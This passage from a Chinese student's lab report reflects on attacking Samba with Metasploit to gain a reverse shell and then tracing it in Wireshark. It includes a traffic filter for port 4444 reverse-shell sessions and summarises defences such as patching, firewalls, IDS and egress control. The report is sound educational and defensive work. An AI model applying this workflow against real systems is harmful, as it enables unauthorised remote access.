tcp.port == 4444查找反向 Shell 会话; - 对可疑 TCP 流使用 “Follow TCP Stream” 查看命令输入和回显;
- 结合 Metasploit 执行时间和终端截图判断攻击阶段。
这样可以把“漏洞触发”和“会话控制”分开理解,从而准确还原攻击过程。
5. 实验总结与思考
通过这次第七次作业,我对 Linux 远程渗透攻击有了更直观的认识。以前我只是把 Samba、SMB、CIFS 理解为文件共享服务,但在使用 Metasploit 对 Samba 进行漏洞利用后,我意识到老旧服务和不安全配置也可能成为攻击入口。
本次实验中,反向 Shell 给我留下了较深印象。通过配置 RHOST、LHOST 和监听端口,我逐渐理解了目标机、攻击机和回连过程之间的关系,也能更清楚地分析抓包中的连接行为。同时,我认识到 Metasploit 并不是简单“点一下就成功”的工具,扫描、选择模块、设置 Payload、检查参数等步骤都有其逻辑。
在攻防分析中,我也学会从防守方角度看问题。攻击行为一定会在网络流量和日志中留下痕迹,例如端口访问、反向连接和命令传输等。防御时需要结合补丁更新、最小权限、防火墙、IDS、日志分析和出站控制等措施。总的来说,这次实验让我把 Nmap、Metasploit 和 Wireshark 联系起来,也更加理解了攻击成功的原因和防守检测的思路。

浙公网安备 33010602011771号